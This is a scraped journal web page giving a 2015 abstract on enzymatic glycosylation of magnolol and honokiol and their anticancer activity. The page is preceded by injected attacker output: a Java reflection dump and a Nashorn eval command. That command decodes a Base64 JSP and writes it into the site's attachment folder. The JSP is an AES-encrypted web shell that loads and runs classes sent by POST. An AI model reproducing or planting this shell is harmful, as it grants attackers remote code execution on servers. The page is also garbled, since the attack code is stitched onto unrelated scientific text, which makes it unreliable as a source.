public javax.script.ScriptEngineManager() public javax.script.ScriptEngineManager(java.lang.ClassLoader) public javax.script.ScriptEngineManager() javax.script.ScriptEngineManager@44eb5bdd jdk.nashorn.api.scripting.NashornScriptEngine@6b81dee4 [Ljava.lang.reflect.Method;@1c26a009 public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.lang.String) throws javax.script.ScriptException public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.io.Reader) throws javax.script.ScriptException public javax.script.ScriptEngineFactory jdk.nashorn.api.scripting.NashornScriptEngine.getFactory() public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.lang.String,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.io.Reader,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Object,java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeMethod(java.lang.Object,java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeFunction(java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public javax.script.Bindings jdk.nashorn.api.scripting.NashornScriptEngine.createBindings() public java.lang.Object javax.script.AbstractScriptEngine.get(java.lang.String) public void javax.script.AbstractScriptEngine.put(java.lang.String,java.lang.Object) public javax.script.ScriptContext javax.script.AbstractScriptEngine.getContext() public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String,javax.script.Bindings) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader,javax.script.Bindings) throws javax.script.ScriptException public void javax.script.AbstractScriptEngine.setContext(javax.script.ScriptContext) public javax.script.Bindings javax.script.AbstractScriptEngine.getBindings(int) public void javax.script.AbstractScriptEngine.setBindings(javax.script.Bindings,int) public final void java.lang.Object.wait() throws java.lang.InterruptedException public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public java.lang.String java.lang.Object.toString() public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll() $f.eval("var B=Java.type('java.util.Base64');var F=Java.type('java.io.FileOutputStream');var d=B.getDecoder().decode('PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmEuaW8uKixqYXZheC5jcnlwdG8uKixqYXZheC5jcnlwdG8uc3BlYy4qIiAlPgo8JSEKICAgIHByaXZcdTAwNjF0ZSBieXRlW10gRGVjcnlwdChieXRlW10gZFx1MDA2MXRcdTAwNjEpIHRocm93cyBFeGNlcHRpb24KICAgIHsKICAgICAgICBTdHJpbmcgaz0iMGJcdTAwNjE0NDM5ZWU5XHUwMDYxNDZkOWQiOwogICAgICAgIGpcdTAwNjF2XHUwMDYxeC5jcnlwdG8uQ2lwaGVyIGM9alx1MDA2MXZcdTAwNjF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdFx1MDA2MW5jZSgiQUVTL0VDQi9QS0NTNVBcdTAwNjFkZGluZyIpO2MuaW5pdCgyLG5ldyBqXHUwMDYxdlx1MDA2MXguY3J5cHRvLnNwZWMuU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTsKICAgICAgICBieXRlW10gZGVjb2RlYnM7CiAgICAgICAgQ2xcdTAwNjFzcyBiQ2x6IDsKICAgICAgICAgICAgICAgIHRyeXsKICAgICAgICAgICAgICAgICAgICBiQ2x6PUNsXHUwMDYxc3MuZm9yTlx1MDA2MW1lKCJqXHUwMDYxdlx1MDA2MS51dGlsLkJcdTAwNjFzZTY0Iik7CiAgICAgICAgICAgICAgICAgICAgT2JqZWN0IERlY29kZXI9YkNsei5nZXRNZXRob2QoImdldERlY29kZXIiLCBudWxsKS5pbnZva2UoYkNseiwgbnVsbCk7CiAgICAgICAgICAgICAgICAgICAgZGVjb2RlYnM9KGJ5dGVbXSkgRGVjb2Rlci5nZXRDbFx1MDA2MXNzKCkuZ2V0TWV0aG9kKCJkZWNvZGUiLCBuZXcgQ2xcdTAwNjFzc1tde2J5dGVbXS5jbFx1MDA2MXNzfSkuaW52b2tlKERlY29kZXIsIG5ldyBPYmplY3RbXXtkXHUwMDYxdFx1MDA2MX0pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgY1x1MDA2MXRjaCAoVGhyb3dcdTAwNjFibGUgZSkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBiQ2x6ID0gQ2xcdTAwNjFzcy5mb3JOXHUwMDYxbWUoInN1bi5taXNjLkJBU0U2NERlY29kZXIiKTsKICAgICAgICAgICAgICAgICAgICBPYmplY3QgRGVjb2Rlcj1iQ2x6Lm5ld0luc3RcdTAwNjFuY2UoKTsKICAgICAgICAgICAgICAgICAgICBkZWNvZGVicz0oYnl0ZVtdKSBEZWNvZGVyLmdldENsXHUwMDYxc3MoKS5nZXRNZXRob2QoImRlY29kZUJ1ZmZlciIsbmV3IENsXHUwMDYxc3NbXXtTdHJpbmcuY2xcdTAwNjFzc30pLmludm9rZShEZWNvZGVyLCBuZXcgT2JqZWN0W117bmV3IFN0cmluZyhkXHUwMDYxdFx1MDA2MSl9KTsKCiAgICAgICAgICAgICAgICB9CiAgICAgICAgcmV0dXJuIGMuZG9GaW5cdTAwNjFsKGRlY29kZWJzKTsKCiAgICB9CiU+CjwlIWNsXHUwMDYxc3MgVSBleHRlbmRzIENsXHUwMDYxc3NMb1x1MDA2MWRlcntVKENsXHUwMDYxc3NMb1x1MDA2MWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsXHUwMDYxc3MgZyhieXRlIFtdYil7cmV0dXJuCiAgICAgICAgc3VwZXIuZGVmaW5lQ2xcdTAwNjFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdVx1MDA2MWxzKCJQT1NUIikpewogICAgICAgICAgICBCeXRlQXJyXHUwMDYxeU91dHB1dFN0cmVcdTAwNjFtIGJvcyA9IG5ldyBCeXRlQXJyXHUwMDYxeU91dHB1dFN0cmVcdTAwNjFtKCk7CiAgICAgICAgICAgIGJ5dGVbXSBidWYgPSBuZXcgYnl0ZVs1MTJdOwogICAgICAgICAgICBpbnQgbGVuZ3RoPXJlcXVlc3QuZ2V0SW5wdXRTdHJlXHUwMDYxbSgpLnJlXHUwMDYxZChidWYpOwogICAgICAgICAgICB3aGlsZSAobGVuZ3RoPjApCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGJ5dGVbXSBkXHUwMDYxdFx1MDA2MT0gQXJyXHUwMDYxeXMuY29weU9mUlx1MDA2MW5nZShidWYsMCxsZW5ndGgpOwogICAgICAgICAgICAgICAgYm9zLndyaXRlKGRcdTAwNjF0XHUwMDYxKTsKICAgICAgICAgICAgICAgIGxlbmd0aD1yZXF1ZXN0LmdldElucHV0U3RyZVx1MDA2MW0oKS5yZVx1MDA2MWQoYnVmKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBvdXQuY2xlXHUwMDYxcigpOwogICAgICAgICAgICBvdXQ9cFx1MDA2MWdlQ29udGV4dC5wdXNoQm9keSgpOwogICAgICAgIG5ldyBVKHRoaXMuZ2V0Q2xcdTAwNjFzcygpLmdldENsXHUwMDYxc3NMb1x1MDA2MWRlcigpKS5nKERlY3J5cHQoYm9zLnRvQnl0ZUFyclx1MDA2MXkoKSkpLm5ld0luc3RcdTAwNjFuY2UoKS5lcXVcdTAwNjFscyhwXHUwMDYxZ2VDb250ZXh0KTt9CiU+');var o=new F('D:/magtech/webs/Jwk34_nfykdxxb/attached/test.jsp');o.write(d);o.close();");

Journal of Southern Medical University ›› 2015, Vol. 35 ›› Issue (11): 1570-.

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Transglycosylation of neolignans by enzymatic synthesis and evaluation of their
antitumor activity

  

  • Online:2015-11-20 Published:2015-11-20

Abstract: Objective To improve the water solubility and biological activity of neoligans (magnolol and honokiol) and test the
antitumor activity of the modified compounds. Methods The glycosylated products of magnolol and honokiol were obtained
by enzymatic synthesis using a UDP-glycosyltransferase (YjiC) from Bacillus. The products were characterized by
high-performance liquid chromatography (HPLC), liquid chromatography-mass spectrometry (LC-MS), and nuclear magnetic
resonance (NMR) analysis. MTT assay was used to detect the growth inhibition of 4 human cancer cell lines induced by the
compounds. Results We obtained two glucosides of neolignans (magnolol and honokiol) for the first time by enzymatic
synthesis using a UDP-glycosyltransferase. Based on the spectroscopic data, the glucosides were identified as magnolol-2-
O-β-D-glucopyranoside (1) and honokiol-4’-O-β-D-glucopyranoside (2). Compounds 1-4 exhibited moderate anti-proliferative
activities against the 4 human cancer cell lines, with IC50 values ranging from 9.41 to 111.21 μmol/L. Conclusion The
glycoslated products show enhanced water solubility and drug sensitivity against SMMC7721 cells, suggesting their value as
potential therapeutic drugs.